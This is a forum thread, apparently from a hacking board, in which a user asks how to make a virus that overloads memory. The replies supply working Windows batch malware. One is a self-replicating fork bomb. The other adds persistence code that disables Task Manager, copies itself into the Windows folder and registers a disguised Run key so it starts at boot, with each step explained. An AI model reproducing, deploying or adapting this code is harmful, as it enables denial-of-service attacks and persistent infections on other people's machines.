[MRDevil]

how can i make virus overloud memory 
       any advice ???

[capseco]

just start few Chrome instances with multiple tabs and some heavy URLs ... it will overload the memory

"According to our tests, having 10 tabs open will cost your RAM just a bit shy of 1000 MB. Its memory use rises to unbelievable amounts as the number of tabs increases, with Chrome using about 1.9 GB of your computer’s memory for 20 tabs."

or just run this flooder

@echo off
:A
set x=%random%
type %0 >> %x%.bat
start %x%.bat
goto:A

[titohippie]

Hi MRDevil.

As I see, the type of malware that you need for do what you want is a fork bomb.

So, in addition to the code that capseco has provided, I would like to add a few lines from the only malware that I create to "help" that the virus runs after starting the Windows operating system:

reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
SET varb=exect
SET varc=.bat
vart=%varb%%varc%
vary=%WINDIR%
varz=%vary%%vart%
if exist %varz% goto copy
copy /Y %0 "%WINDIR%\" >NUL 2>&1
Reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "*WindowsMachineSubProcess" /D "%WINDIR%\%~n0.bat" /F >NUL 2>&1
:copy

About descriptions/notes:

-The 2 first lines will disable task manager.
-The next 7 are used to copy the .bat with a different name in that Windows folder where a copy or shortcut is saved to run applications when the OS starts. 
-Finally, the .bat modify the windows registry to "force" that .bat starts.

As a last note, I added a "if" to check if the .bat exists, and, if it true, the code will not try to copy in that windows folder.

The only "problem" is that code only affects to S.O. Windows and if you want to use this in S.O. Linux you will need to adjust the code.